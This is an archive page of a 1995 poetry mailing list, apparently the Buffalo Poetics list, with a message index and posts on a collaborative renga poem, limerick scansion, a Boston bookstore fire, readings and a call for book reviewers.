485. Aldon L. Nielsen — Re: signs taken for wonders
486. Louis Cabri — funkin around
487. Jorge Guitart — Re: ahem Chaim subroutine hawk stichic II
488. Burt Kimmelman — Re: you & whose army?
489. Charles Alexander — Re: you & why an army?
490. Herb Levy — Re: you & whose army?
491. Gwyn McVay — Curbstone
492. Edward Foster — Re: you & whose army?
493. Gwyn McVay — Re: you & whose army?
494. Edward Foster — Re: you & whose army?
495. George Bowering — Re: RengaCheck
496. George Bowering — Re: anagrams to the stars
497. George Bowering — Re: Hello Ayre Heads
498. George Bowering — Re: Sheila & Jorge's Excellent Adventure
499. Jorge Guitart — Re: spike it with saussure - begins the intramix...
500. Jorge Guitart — Re: Sheila, Chris & Jorge's Excellent Adventure
501. Jorge Guitart — Re: Sheila, Chris & Jorge's Excellent Adventure
502. Jeffrey Timmons — Re: you & an army of mixed metaphors and forgotten half-truths...
503. Sheila E. Murphy — What? Me? A Renga Problem...NAW!

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504. Thomas Bell — Tale of Grengaji I
505. Tenney Nathanson — (no subject)
506. Tenney Nathanson — (no subject)
507. Tenney Nathanson — (no subject)
508. Tenney Nathanson — (no subject)
509. Tenney Nathanson — (no subject)
510. Rod Smith — Re: you & what army
511. Ken Edwards — WCW and whose army
512. Ron Silliman — Koan Bidness
513. CAROLYN L. FORCHE-MATTISON — list poets in the Post
514. Jorge Guitart — Re: this break will or will not not branch
515. Jorge Guitart — Re: list poets in the Post
516. Burt Kimmelman — Re: you & whose army?
517. Burt Kimmelman — Re: you & whose army?
518. Sheila E. Murphy — Re: Sheila, Chris & Jorge's Excellent Adventure
519. Herb Levy — Re: Zukofsky: On Shakespeare
520. Loss Glazier — Reading in S.F.
521. Blair Seagram — Ranting on St Marks
522. Jorge Guitart — Re: Sheila, Chris & Jorge's Excellent Adventure
523. cris cheek — Re: Sheila, Chris & Jorge's Excellent Adventure
524. cris cheek — Re: this break will or will not not branch
525. beard — Re: Ranting on St Marks
526. Jorge Guitart — Re: Sheila, Chris & Jorge's Excellent Adventure
527. Jorge Guitart — Re: this break will or will not not branch

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528. Aldon L. Nielsen — Re: The Mark of Yardbird
529. Tenney Nathanson — St. Marks (RIP?)

530. Louis Cabri — be advised: wcw qtd in this renga
531. George Bowering — Re: be advised: wcw qtd in this renga
532. George Bowering — Re: Zuk
533. George Bowering — Re: WCW and whose army
534. George Bowering — Re: your mail
535. George Bowering — Re: Renga permissions
536. H. T. KIRBY-SMITH — Jonathan Yardley
537. Jorge Guitart — Re: be advised: wcw qtd in this renga
538. Jorge Guitart — Re: be advised: wcw qtd in this renga
539. Brian McHale — Re: Zukofsky: On Shakespeare
540. Steve Carll — Re: Renga permissions
541. Charles Smith — Re: LZ & bookshop vagaries
542. David Kellogg — Re: The Mark of Yardbird
543. Burt Kimmelman — fyi
544. George Bowering — Re: be advised: wcw qtd in this renga
545. Sheila E. Murphy — Re: Sheila, Chris & Jorge's Excellent Adventure
546. Sheila E. Murphy — Re: Sheila, Chris & Jorge's Excellent Adventure
547. Sheila E. Murphy — Re: Sheila, Chris & Jorge's Excellent Adventure
548. George Bowering — Re: Jonathan Yardley
549. Sheila E. Murphy — Re: be advised: wcw qtd in this renga
550. Steve Carll — Re: LZ & bookshop vagaries
551. Bill Luoma — Re: Benson address

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552. Blair Seagram — finding Zukofsky
553. Thomas Bell — Re: spike it with saussure - begins the intramix...
554. Tenney Nathanson — milk
555. Ron Silliman — Bruce Andrews Barbie Doll
556. cris cheek — Benson address
557. cris cheek — Re: Sheila, Cris & Jorge's Excellent Adventure
558. Mark Wallace — jonathan yardley
559. Herb Levy — Re: hearing Zukofsky
560. Hank Lazer — Re: hearing Zukofsky
561. Bill Luoma — Re: Bruce Andrews Barbie Doll
562. David Golumbia — Re: finding Zukofsky
563. Graham John Sharpe — Pergolesi
564. Edward Foster — Re: you & why an army?
565. Edward Foster — Re: you & whose army?
566. Edward Foster — Re: you & an army of mixed metaphors and forgotten half-truths...
567. Edward Foster — Re: you & an army of mixed metaphors and forgotten half-truths...
568. Edward Foster — (no subject)
569. Edward Foster — Re: you & what army
570. Edward Foster — Re: you & whose army?
571. Edward Foster — Re: you & whose army?
572. Aldon L. Nielsen — Re: Yardarms, etc.
573. Jorge Guitart — Re: Sheila, Chris & Jorge's Excellent Adventure
574. Jorge Guitart — Re: Sheila, Chris & Jorge's Excellent Adventure
575. Edward Foster — Re: hearing Zukofsky
576. Charles Watts — Re: hearing Zukofsky
577. George Bowering — Re: you & why an army?
578. George Bowering — Re: spike it with saussure - begins the intramix...
579. David McAleavey — Re: Yardarms, etc.
580. Ron Silliman — Re: hearing Zukofsky
581. Bill Luoma — Re: hearing Zukofsky
582. Ron Silliman — Re: hearing Zukofsky
583. Charles Bernstein — Distribution or Bust

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584. Stephen Galen Cope — Re: Distribution or Bust
585. Sheila E. Murphy — Re: spike it with saussure - begins the intramix...
586. Blair Seagram — St Marks not dead yet
587. Sheila E. Murphy — Re: spike it with saussure - begins the intramix...
588. Rod Smith — Re: Yardarms, etc.
589. Sheila E. Murphy — Re: Sheila, Chris & Jorge's Excellent Adventure
590. Sheila E. Murphy — Re: Sheila, Chris & Jorge's Excellent Adventure
591. Blair Seagram — typo on St Marks
592. Aldon L. Nielsen — Re: Zuk et al
593. Aldon L. Nielsen — Re: WCW Trolley
594. Thomas Bell — Dangerous poets?
595. Thomas Bell — Re: Spike it
596. R I Caddel — Re: Pergolesi
597. Gwyn McVay — publications/anagram
598. Jorge Guitart — Re: be advised: wcw qtd in this renga
599. Jorge Guitart — Re: spike it with saussure - begins the intramix...
600. Jorge Guitart — Re: Sheila, Cris & Jorge's Excellent Adventure
601. Jorge Guitart — Re: Sheila, Chris & Jorge's Excellent Adventure
602. Jorge Guitart — Re: Sheila, Chris & Jorge's Excellent Adventure
603. Jorge Guitart — Re: Spike it
604. Teachers & Writers — Re: Sheila, Chris & Jorge's Excellent Adventure
605. Eryque Gleason — Bookstores
606. Burt Kimmelman — Re: you & an army of mixed metaphors and forgotten half-truths...
607. Fred Muratori — Re: Dangerous poets?
608. Herb Levy — Distribution 'R' Us
609. Tenney Nathanson — or or (the or or!? the or or!?)
610. W. Northcutt — Hep me! I need addresses.
611. Edward Foster — Re: you & why an army?
612. Edward Foster — Re: WCW Trolley
613. Jorge Guitart — Re: Sheila, Chris & Jorge's Excellent Adventure
614. Edward Foster — Re: you & an army of mixed metaphors and forgotten half-truths...
615. Edward Foster — Re: you & an army of mixed metaphors and forgotten half-truths...
616. Marshall H. Reese — Zukofsky videotape
617. Kit Robinson — A24
618. Thoreau Lovell — New Five Fingers Review
619. Lisa Robertson — LZ & bookshop chickenshit
620. cris cheek — Re: Sheila, Cris & Jorge's Excellent Adventure
621. cris cheek — Re: Sheila, Chris & Jorge's Excellent Adventure
622. cris cheek — Re: Sheila, Chris & Jorge's Excellent Adventure
623. Gale Nelson — Tapes of Laura Riding and Robert Graves
624. George Bowering — Re: Dangerous poets?
625. George Bowering — Re: spike it with saussure - begins the intramix...
626. George Bowering — Re: publications/anagram
627. Tony Green — Re: Pergolesi
628. George Bowering — Re: spike it with saussure - begins the reich
629. George Bowering — Re: Distribution or Bust
630. Patrick Phillips — Dist. or Bust (i.e., New Book)
631. Gabrielle Welford — Re: Sheila, Chris & Jorge's Excellent Adventure
632. Sheila E. Murphy — Re: Pergolesi
633. Sheila E. Murphy — Re: be advised: wcw qtd in this renga
634. Sheila E. Murphy — Re: spike it with saussure - begins the intramix...
635. Sheila E. Murphy — Re: spike it with saussure - begins the reich
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637. Charles Alexander — Re: Distribution 'R' Us
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639. Steve Carll — Re: you & an army of mixed metaphors and forgotten half-truths...

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643. Thomas Bell — Re: spike it with saussure - begins the intramix...>
644. Blair Seagram — poetry, bookstores, the list
645. Jim Andrews — Re: Dangerous poets?
646. R I Caddel — Re: Distribution 'R Us
647. Charles O. Hartman — Re: Distribution or Bust
648. SUSAN E. TICHY — Re: LZ & bookshop chickenshit
649. Charles Alexander — Re: Dist. or Bust (i.e., New Book)
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652. Jorge Guitart — Re: spike it with saussure - begins the intramix...
653. Jorge Guitart — Re: spike it with saussure - begins the reich
654. Jorge Guitart — Re: Sheila, Chris & Jorge's Excellent Adventure
655. Herb Levy — Re: bookshop chickenshit & LZ
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692. Jeffrey Timmons — Re: you & an army of mixed metaphors and forgotten half-truths...
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1. Lindz Williamson
Re: Help..
Fri 1 Sep 1995

Jeffery Timmins wrote:

When I listen to "noise"--as in deliberately produced as art noise-- I do not hear communication, but the upseting of the very basis of communication. I live in it and relish it for its simple inversion of the ideology of opacity that permeates our lives. Or something like that....

I don't really mean communication in the sense of meaning or conveying a message as much as I mean a point of contact. It seems to me that doing readings or circulating my works is a connection, it starts a relationship. There is a reception of something that was once internal, a thought. It still may be abstract and without function, but it has touched someone else's life once it has left my fingers or my mouth. If poetry was merely noise for myself I could just leave it in my head. But I need the contact, the communion with someone else. They don't have to like it, or understand it, just read or hear it. After that it's too late to go back I've already invaded, they are no longer innocent of me.

Lindz

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2. Thomas Bell
Re: Renga
Fri 1 Sep 1995

> In the books were dreams and in the dreams were books.>
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> The caravan of windows to what they flee
> These lace curtains, more gauze than bondage, more
> Mollycoddled than aware, thin-spined and pebbling
> but narrow in the waist or waspish Sunday years ago
> Over coffee topped with whipped lads, the Times blowing
> & opining, heavy humid air, cumulus amusing against the
> bleached ribcage ripcorded into compassed wind
> kissing the weatherwoman between her beasts as she
> gives gracious problem: fanatical snacks, landscape of
> flicka my best friend and the storm in the glass of water's
> halfway pertinent incision we keep making safe for ignorance

> (inspection
> denied for not knowing how credenza was meant) & neo-colonizing
> pockets in small furniture intended house sequentially several
> mountains away but it wasn't, you know, a big tango
> when the attorney general came, selah hales said, "Dias, oh,ho,
> kook!"
> Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> warehouse, curls
> no ideas but the woven fabric the texture so to speak was at the dry
> cleaners
> piping hot and gloved-in somewhere unsalted, perched on prescience
> the chair is sad, alas, and i've lusted tootles' livers
> the odor day toy a cello day dis chevys a bo coo daughter chose encore
> Flaubert because we're waiting all throughout eternity for moments
> to be
> of such suchness. In the nooks were creams and in the streams were
> hooks.
> All melded like striated film leftover in the pastel seeds of darkness
> falling like a counterirritant around the manchineel. Likewise
> sandpaper juxtaposed with seasoned instruments and recently soft
> fruit
> of subject's object status, violent transformation
> la Ste. Therese into beaming cumulus apokoinu switchback
> and in the u-turns were bookmobiles rounding angles considered
> shrill as pine left in the acres to be aging
> flawlessly, flutes sing genderless in trio, surprised
> by how quiet effort really is or is not, fast enough to sleep
> through thunderstorms, arm over thigh until light shakes
> petals free of names that rain across known skin forgotten
> alive in our hearse hurts, projective nurse if she is to go ahead
> and dance, composing instead of straining muscles, far eyes
> saunter lope pentecost beam operator will you cockpit
> out, transplanted organs speak, the idiom
> inseams, a snare as solvently unequal-- the power
> uncreased although each snare still trembles quantum
> which explains why the pump is busted and why
> he preferred whole afternoons on the phone to that
> crap about not having a cousin on the moon
> capable of keeping the canoe right way up in the cool
> prose of the upper Hudson, dinner's at seven so
> what if the trees are conservative well i hate them

> the emir said as much as any garrulous ill-advised backbiter
blousily seeking lousy peaks of projectile vomit purple and

↑ Index

3. Lindz Williamson
limerick
Fri 1 Sep 1995

Ok I did some research on limericks so I could get it right this time. Anybody familiar with Edward Lear and the Book of Nonsense?

Here's a sample,

There once was an Old man of Marseilles
Whose daughters wore bottles green veils
The caught several fish, which they put in dish
And sent to their Pa in Marseilles.

there once was a Young Lady of Welling
Whose praise all the world was a telling
She played on the harp, and caught several carp,
The accomplished Young Lady of Welling.

Now would someone explian why you need fish to complete the verse?

Lindz (not a seafood lover)

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4. George Bowering
Re: Renga!
Fri 1 Sep 1995

> *In the books were dreams and in the dreams were books.>*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian bluejay, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped lads, the Times blowing*
> *& opining, heavy humid air, cumulus amusing against the*
> *bleached ribcage ripcorded into compassed oriole wind*
> *kissing the weatherwoman between her beasts as she*
> *gives gracious problem: fanatical snacks, landscape of*

> *flicka my best friend and the storm in the glass of water's*
> *halfway pertinent incision we keep making safe for ignorance*
> *> >> (inspection*
> *denied for not knowing how credenza was meant) & neo-colonizing*
> *pockets in small furniture intended house sequentially several*
> *mountains away but it wasn't, you know, a big tango*
> *when the attorney general came, selah hales said, "Dias, oh,ho,*
> *kook!"*
> *Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco*
> *warehouse, curls*
> *no ideas but the woven fabric the texture so to speak was at the dry*
> *cleaners*
> *piping hot and gloved-in somewhere unsalted, perched on prescience*
> *the chair is sad, alas, and i've lusted tootles' livers*
> *the odor day toy a cello day dis chevys a bo coo daughter encore*
> *Flaubert because we're waiting all throughout eternity for moments*
> *to be*
> *of such suchness. In the nooks were creams and in the streams were*
> *hooks.*
> *All melded like striated film leftover in pastel seeds of darkness*
> *falling like a counterirritant around the manchineel. Likewise*
> *sandpaper juxtaposed with seasoned instruments and recently soft*
> *fruit*
> *of subject's object status, violent transformation, William*
> *la Ste. Therese into beaming cumulus apokoinu switchback*
> *and in the u-turns were bookmobiles rounding angles considered*
> *shrill as pine left in the acres to be aging, Dean,*
> *flawlessly, flutes sing genderless in trio, surprised*
> *by how quiet effort really is or is not, fast enough to sleep*
> *through thunderstorms, arm over thigh until light shakes*
> *petals free of names that rain across known skin forgotten, Howells*
> *alive in our hearse hurts, projective nurse if she is to go ahead*
> *and dance, composing instead of straining muscles, far eyes*
> *saunter lope pentecost beam operator will you cockpit*
> *out, transplanted organs speak, the idiom^h*
> *inseams, a snare as solvently unequal-- the power*
> *uncreased although each snare still trembles quantum*
> *which explains why the pump is busted and why*
> *he preferred whole afternoons on the phone to that*
> *crap about not having a cousin on the moon*
> *capable of keeping the canoe right way up in the cool*
> *prose of the upper Hudson, dinner's at seven so*
> *he through herself night outright read backwards this*
> *petrified tangle of consonants supposed to mean*
> *a lower on-base percentage in September, the long season*
> *and "The environmentalists are trying to destroy your daddy"*
> *but we are loving you madly upstairs in the evening.*
> *However, can you put that heuristic chainsaw down? Thanks!*

> *Hey! Hey! Hey! Stripmine your family! Encode your boredom!*
> *Find out what Social Credit was to EP, sanitise his socks!*

↑ Index

5. George Bowering
Re: limerick
Fri 1 Sep 1995

Listen, Lindz:

"There once was a young lady from Welling"

will not scan as the first line of a limerick, but

"There was a young lady from Welling"

will do so.

da dah da da dah da da dah da

I hear you might stop ;lurking at TTPN. Hope so.
Cheerio--gb

↑ Index

6. Lindz Williamson
Re: limerick
Fri 1 Sep 1995

On Thu, 31 Aug 1995, George Bowering wrote:

> *Listen, Lindz:*
>
> *"There once was a young lady from Welling"*
>
> *will not scan as the first line of a limerick, but*
>
> *"There was a young lady from Welling"*
>
> *will do so.*
>
> *da dah da da dah da da dah da*

Hey I was quoting Edward Lear and He said

There once was a . . .
 so there, PHHHHHEEEEWTTHHHH (the sound you make when sticking out your
tongue)

Lindz

↑ Index

7. R I Caddel

Re: Fate

Fri 1 Sep 1995

Wow, these are dangerous times! Where I come from torching a bookshop would be considered a pretty extreme solution to a double booking dilemma...

RC

↑ Index

8. Daniel Bouchard/College/hmco

Re: Fate

Fri 1 Sep 1995

As it turns out, the hosting bookshop in Boston
>burst into flames last night, and will be lucky if they open by Xmas.

> *Which bookstore?!*

Waterstone's Bookstore. It didn't actually burst into flames (just being dramatic), actually the restaurant below it, or beside it, did, and the bookstore suffered tremendous water, smoke and structural damage. A friend who works there has heard that they will probably be closed for some months.

↑ Index

9. Kevin Killian

Millay

Fri 1 Sep 1995

Thank you to Jordan and to Gale, and all who msged me back-channel, with your hints on further reading on St. Vincent Millay . . . now I know where to turn, believe me I was at my wits end trying to find something good. I was even at that awful stage familiar to you all I'm sure where I was beginning to feel, God, maybe I'LL have to write something-that sinking feeling . . .

↑ Index

10. Jorge Guitart

Re: Renga

Fri 1 Sep 1995

On Thu, 31 Aug 1995, Thomas Bell wrote:

> > In the books were dreams and in the dreams were books.>
> > And flew through windows, lightning green and fine morning
> > First inverted whistle of a cardinal in the poplar
> > The book and the oboe on the grass under sun and cloud
> > Go endlessly, an obtuse Prussian blue, it binds
> > The caravan of windows to what they flee
> > These lace curtains, more gauze than bondage, more
> > Mollycoddled than aware, thin-spined and pebbling
> > but narrow in the waist or waspish Sunday years ago
> > Over coffee topped with whipped lads, the Times blowing
> > & opining, heavy humid air, cumulus amusing against the
> > bleached ribcage ripcorded into compassed wind
> > kissing the weatherwoman between her beasts as she
> > gives gracious problem: fanatical snacks, landscape of
> > flicka my best friend and the storm in the glass of water's
> > halfway pertinent incision we keep making safe for ignorance
> > (inspection
> > denied for not knowing how credenza was meant) & neo-colonizing
> > pockets in small furniture intended house sequentially several
> > mountains away but it wasn't, you know, a big tango
> > when the attorney general came, selah hales said, "Dias, oh,ho,
> > kook!"
> > Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> > warehouse, curls
> > no ideas but the woven fabric the texture so to speak was at the dry
> > cleaners
> > piping hot and gloved-in somewhere unsalted, perched on prescience
> > the chair is sad, alas, and i've lusted tootles' livers
> > the odor day toy a cello day dis chevys a bo coo daughter chose encore
> > Flaubert because we're waiting all throughout eternity for moments
> > to be
> > of such suchness. In the nooks were creams and in the streams were
> > hooks.
> > All melded like striated film leftover in the pastel seeds of darkness
> > falling like a counterirritant around the manchineel. Likewise
> > sandpaper juxtaposed with seasoned instruments and recently soft
> > fruit
> > of subject's object status, violent transformation
> > la Ste. Therese into beaming cumulus apokoinu switchback
> > and in the u-turns were bookmobiles rounding angles considered
> > shrill as pine left in the acres to be aging
> > flawlessly, flutes sing genderless in trio, surprised

> > by how quiet effort really is or is not, fast enough to sleep
> > through thunderstorms, arm over thigh until light shakes
> > petals free of names that rain across known skin forgotten
> > alive in our hearse hurts, projective nurse if she is to go ahead
> > and dance, composing instead of straining muscles, far eyes
> > saunter lope pentecost beam operator will you cockpit
> > out, transplanted organs speak, the idiom
> > inseams, a snare as solvently unequal-- the power
> > uncreased although each snare still trembles quantum
> > which explains why the pump is busted and why
> > he preferred whole afternoons on the phone to that
> > crap about not having a cousin on the moon
> > capable of keeping the canoe right way up in the cool
> > prose of the upper Hudson, dinner's at seven so
> > what if the trees are conservative well i hate them
> > the emir said as much as any garrulous ill-advised backbiter
> blousily seeking lousy peaks of projectile vomit purple and
insisting on multiple levels of representation. In the meantime

↑ Index

11. Herb Levy

Re: progressive v regressive

Fri 1 Sep 1995

Aldon Nielsen writes:

> *What's odd about this is*
> *that while thousands of Americans have now read Derrida on Jabes, for example, few of them read any American poets as interesting (to me at any rate) as Jabes.*

I'd bet that few of these same Americans have more than glanced at Jabes, either. But you're otherwise right.

Herb Levy
[redacted]

↑ Index

12. Chris Stroffolino

Re: Joris's Celan and Corn on L poetry - 24 Aug 1995 to 25 Aug 1995

Fri 1 Sep 1995

I just realized i can actually SEND messages even though I don't receive any (with the nohmail option)---so I just wanted to let people know that Pierre Joris will be doing a book signing party here in Albany, NY on

Saturday September 30, 1995--- 3PM (circa) at Cafe Lulu--288 Lark Street. Call Chris Stroffolino [redacted] for more info (directions, etc) Prizes will be given out for best Celan impersonator.....

↑ Index

13. Lindz Williamson
calling
Fri 1 Sep 1995

Again thanks somuch Bill for hooking me up with Dug, it's working well. But now I have a new request. I looking for Todd Colby and his band Drunken Boat. I've been told I can reach him at Saint Marks Poetry Project, but I don't have the address, nor does Dug. So if anybody out there knows the address or how else I can get a hold of TOdd please tell me.

much obliged, Lindz

↑ Index

14. Mark Roberts
AWOL: correction to September Happenings
Fri 1 Sep 1995

It has just been brought to my attention that the Tasmanian Writers Union meeting which was listed as taking place on Wednesday 4th September is really taking place on Wednesday 4th October.

The corrected entry should read:

Wednesday 4th October there'll be a Tasmanian Writers' Union (TWU) reading at the Bavarian Tavern 28 Liverpool Street Hobart at 7.30 pm. featuring three of the readers from the Tasmanian Poetry Festival: Matt Simpson (U.K.), Jenny Boult and Chris Mansell. Cost $8/$5 conc. Details phone TWU (002) 240029.

Sorry for any inconvenience this may have caused (I hope nobody has to change their travel plans).

Mark

↑ Index

15. Ryan Knighton
Re: limerick
Fri 1 Sep 1995

I'll beat GB to the punch and say you need fish in a limerick, Lindz, because of your Newfie heritage.

↑ Index

16. Mark Roberts
AWOL: UTS Review
Fri 1 Sep 1995

The UTS Review
Cultural Studies and New Writing

Announcing the publication of a new journal edited by Meaghan Morris and Stephen Muecke. The UTS Review is published three times a year and will be available at bookstores and from the distributor. The UTS Review takes seriously the encouragement of new writing, especially from Australia and the Asia-Pacific region. A number of important works from Australia and international points of interest will be reviewed in each issue. Early issues are on the themes of 'Intellectuals and Communities' and 'Is an Experimental History Possible?' Issues 1 and 2 will include:

Rey Chow, "The Politics of Admittance: Female Sexual Agency, Miscegenation, and the Formation of Community in Frantz Fanon."
Bruce Robbins, "Murder and Mentorship: Advancement in Silence of the Lambs"
Philip Morrissey, "If Not for Myself..."
Sia Figiel, "The Centre"
Brian Massumi, "Command, Control and the Singular Generic..."
Ghassan Hage, "The Limits of 'Anti-racist Sociology'"
Denis Byrne, "Intramuro's Return"
Ruth Barcan, "A Symphony of Farts"
etc

Plus reviews: Chris Healy on Marcia Langton, David Halperin on Chris Berry, Helen Grace on Ian Hunter, Tim Rowse on Graeme Turner, Ross Gibson on Ken Bolton, John Frow on Bernard Smith, Sylvia Lawson on Stuart Macintyre, Kuan-Hsing Chen on Ethnicity and Southeast Asia

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↑ Index

17. Burt Kimmelman

Call for book reviewers and journals to print book reviews

Fri 1 Sep 1995

From: ADMIN::KIMMELMAN "Burt Kimmelman [redacted]" 1-SEP-1995 15:28:01.59
To: MX%"[redacted]"
CC: KIMMELMAN
Subj: Call for reviewers

Dear List Subscibers,

If you have already seen a version of the following, then please ignore or forgive this notice, being sent now that all good academics are back at their desks, ready for the fall term to get underway:

I am searching for people to review my forthcoming book: THE POETICS OF AUTHORSHIP IN THE LATER MIDDLE AGES: THE EMERGENCE OF THE MODERN LITERARY PERSONA (Peter Lang, due out this winter). The book discusses what I call the authorship trope and its deepest implications within the world of literature but also within the sphere of what the history of ideas. The book places literary "signing" within its wider milieux; I have things to say about Augustine, Anselm, Abelard, Aquinas and Ockham among others. The book contains extensive close readings of Guillem IX, Marcabru, Dante, Langland and Chaucer.

The book's argument is that literary individualism first widely manifests in the early twelfth-century as word puzzles and overt self-naming, but also more

broadly and deeply in discussions about the nature of writing and the role of the poet in the world. These five poets are typical of their era: they are poets, AND they are intellectuals. My study traces their literary claims of authorship to their interests in contemporaneous philosophical debtates--not to the need for what modernity views as self-promotion. Nevertheless, in their creations of both history and fiction, these poets anticipated modern narrative and its literary persona, as they contributed to the emergence of the modern, autonomous self.

If you would like more information about this book, for the purposes of reviewing it or otherwise, please contact me.

E-mail:
[redacted]

Snail-mail:
Burt Kimmelman
Assistant Professor of English
New Jersey Institute of Technology
Newark, NJ 07102

Real live voice over the wire (i.e., telephone):
[redacted] (home number; calling early is okay, but please don't call after 8:45 PM).

Thank you for indulging me by working your way through this terribly long message.

BK

↑ Index

18. Jordan Davis.
Re: calling
Fri 1 Sep 1995

---

to find Todd Colby: first, help your friend move in to his apartment down on Maiden Lane then leave as he and the rest try and remember which box contains the refreshments. Next walk up Bway past the woolworth building and the new knitting factory (leonard street, great digs, AIR CONDITIONING!!!) and lean into the deli, say Mr. Colby, I like your work very much.

If that doesn't work, try

275 Union St
Brooklyn NY 11231

best of luck,
Jordan

PS Poetry Project's # is [redacted], address: 131 E 10th St NYC 10003 (Todd Colby's book Ripsnort is available from Soft Skull Press... GRIST Online might have it)

↑ Index

19. Ryan Knighton

Re: fairy poems

Fri 1 Sep 1995

I'm curous if any of you out here know of any or many
poems related to or influenced by children's literature.
I'm not talking about children's verse either. I think
bp did something (I know he had a lot of pop up books and,
if I remember correctly, he worked on the Fraggle Rock genius);
Dennis Lee might be another. In particular, I'm interested
in the influence of fairy tales on contemporary poetry
and poetics.

ONe of the things I've been thinking about is how the supernatural occurs. In many tales, the supernatural offers an occasion to a character to demonstrate (hence, "monster") their unrecognized virtue (Hansel and Gretel and the Witch, for instance--she allows them to prove to their stupid parents that they're pretty good kids after all). In this respect, the supernatural functions like a language, or the acquistion of a language which is recognized by the ruling community or persons (H and G TELL their parents over and over that they don't want to go, that they want to stay, etc...but it takes their actions against the witch before anyone listens). Monsters as demonstrative language? Speech as supernatural, an initiation into a discursive community?

Kids get all the hard stuff to read.

Anyways, with this in mind, I would like to know of any poems or poets that deal with fairy tale lore in, not necessrily this manner, but work with the material.

Thanksillions,

Ryan Knighton

PS I have a really crappy joke I want to tell but it doesn't work on a page so you'll just have to come to Vancouver sometime to hear it.

↑ Index

20. George Bowering

Re: Renga!!

Fri 1 Sep 1995

> *In the books were dreams and in the dreams were books.>*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped lads, the Voice blowing*
> *& opining, heavy humid air, cumulus amusing against the*
> *bleached ribcage ripcorded into compassed wind*
> *kissing the weatherwoman between her beasts as she*
> *gives gracious problem: fanatical snacks, landscape of*
> *flicka my best friend and the storm in the glass of water's*
> *halfway pertinent incision we keep making safe for ignorance (inspection*
> *denied for not knowing how credenza was meant) & neo-colonizing*
> *pockets in small furniture intended house sequentially several*
> *mountains away but it wasn't, you know, a big tango*
> *when the attorney general came, selah hales said, "Dias, oh,ho, kook!"*
> *Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco warehouse, curls*
> *no ideas but the woven fabric the texture so to speak at the dry cleaners*
> *piping hot and gloved-in somewhere unsalted, perched on prescience*
> *the chair is sad, alas, and i've lusted tootles' livers*
> *the odor day toy a cello day dis chevys a bo coo daughter chose encore*
> *Flaubert because we're waiting all eternity for moments to be*
> *of such suchness. In the nooks were creams and in the streams were hooks.*
> *All melded like striated film leftover in the pastel seeds of darkness*
> *falling like a counterirritant around the manchineel. Likewise*
> *sandpaper juxtaposed with seasoned instruments and recently soft fruit*
> *of subject's object status, violent transformation*
> *la Ste. Therese into beaming cumulus apokoinu switchback*
> *and in the u-turns were bookmobiles rounding angles considered*
> *shrill as pine left in the acres to be aging, invoking editor*
> *flawlessly, flutes sing genderless in trio, surprised*
> *by how quiet effort really is or is not, fast enough to sleep*
> *through thunderstorms, arm over thigh until light shakes*
> *petals free of names that rain across known skin forgotten*

> *alive in our hearse hurts, projective nurse if she is to go ahead*
> *and dance, composing instead of straining muscles, far eyes*
> *saunter lope pentecost beam operator will you cockpit*
> *out, transplanted organs speak, the idiom*
> *inseams, a snare as solvently unequal-- the power*
> *uncreased although each snare still trembles quantum*
> *which explains why the pump is busted and why*
> *he preferred whole afternoons on the phone to that*
> *crap about not having a cousin on the moon*
> *capable of keeping the canoe right way up in the cool*
> *prose of the upper Hudson, dinner's at seven so*
> *what if the trees are conservative well i hate them*
> *the emir said as much as any garrulous ill-advised backbiter*
> *blousily seeking lousy peaks of projectile vomit purple and*
> *insisting on multiple levels of representation. In the meantime*
> *the pen seemed oddly juicy, nice, in what she thought of*

↑ Index

21. Shaunanne Tangney

Re: Fate

Fri 1 Sep 1995

On Fri, 1 Sep 1995, Daniel Bouchard/College/hmco wrote:

> *As it turns out, the hosting bookshop in Boston*
> *burst into flames last night, and will be lucky if they open by Xmas.*
>
> *Which bookstore?!*
>
> *Waterstone's Bookstore. It didn't actually burst into flames (just being*
> *dramatic), actually the restaurant below it, or beside it, did, and the*
> *bookstore suffered tremendous water, smoke and structural damage. A friend who*
> *works there has heard that they will probably be closed for some months.*

wow. . . a few 4 blocks from my former boston abode. . . and a lovely, big, chock-full, and knowledegable store, too. . . what a shame. . . --shaunanne

↑ Index

22. George Bowering

Re: limerick

Fri 1 Sep 1995

Lindz:

a line starting "There once was a . . ."

will scan as limerickal, if it ends something like this:

"There once was a maiden named Alice"

--yr welcome, GB

↑ Index

23. Jorge Guitart

Re: Renga!!

Fri 1 Sep 1995

On Fri, 1 Sep 1995, George Bowering wrote:

> > > > In the books were dreams and in the dreams were books.>
> > > > And flew through windows, lightning green and fine morning
> > > > First inverted whistle of a cardinal in the poplar
> > > > The book and the oboe on the grass under sun and cloud
> > > > Go endlessly, an obtuse Prussian blue, it binds
> > > > The caravan of windows to what they flee
> > > > These lace curtains, more gauze than bondage, more
> > > > Mollycoddled than aware, thin-spined and pebbling
> > > > but narrow in the waist or waspish Sunday years ago
> > > > Over coffee topped with whipped lads, the Voice blowing
> > > > & opining, heavy humid air, cumulus amusing against the
> > > > bleached ribcage ripcorded into compassed wind
> > > > kissing the weatherwoman between her beasts as she
> > > > gives gracious problem: fanatical snacks, landscape of
> > > > flicka my best friend and the storm in the glass of water's
> > > > halfway pertinent incision we keep making safe for ignorance
> > > > (inspection
> > > > denied for not knowing how credenza was meant) & neo-colonizing
> > > > pockets in small furniture intended house sequentially several
> > > > mountains away but it wasn't, you know, a big tango
> > > > when the attorney general came, selah hales said, "Dias, oh,ho,
> > > > kook!"
> > > > Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> > > > warehouse, curls
